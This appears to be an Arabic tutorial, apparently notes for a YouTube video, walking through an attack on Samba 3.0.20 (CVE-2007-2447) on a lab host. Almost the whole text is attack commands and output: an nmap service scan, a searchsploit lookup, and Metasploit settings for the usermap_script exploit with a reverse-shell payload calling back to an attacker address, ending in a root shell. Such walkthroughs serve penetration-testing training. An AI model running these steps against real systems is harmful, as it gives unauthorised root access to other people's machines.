🎬 هذا فيديو يوتيوب

1️⃣ مسح الهدف (Nmap)

nmap -sS -sV -p 139,445 192.168.56.102

النتيجة المتوقعة: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian

👉 إصدار سامبا: 3.0.20 هذا ضعيف لـ CVE-2007-2447.

2️⃣ اكتشاف استغلال سامبا

searchsploit samba 3.0.20

النتيجة:

Samba 3.0.20 - 'Username' map script Command Execution

3️⃣ تشغيل Metasploit

msfconsole

4️⃣ اختيار استغلال سامبا

use exploit/multi/samba/usermap_script

5️⃣ إعدادات الاستغلال

set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101

سيكون الحمولة تلقائيًا:

cmd/unix/reverse

التحقق:

show options

6️⃣ تشغيل الاستغلال

run

أو

exploit

7️⃣ النتيجة 🎉

إذا نجح الأمر:

Command shell session opened

نتحقق:

whoami

👉 النتيجة:

root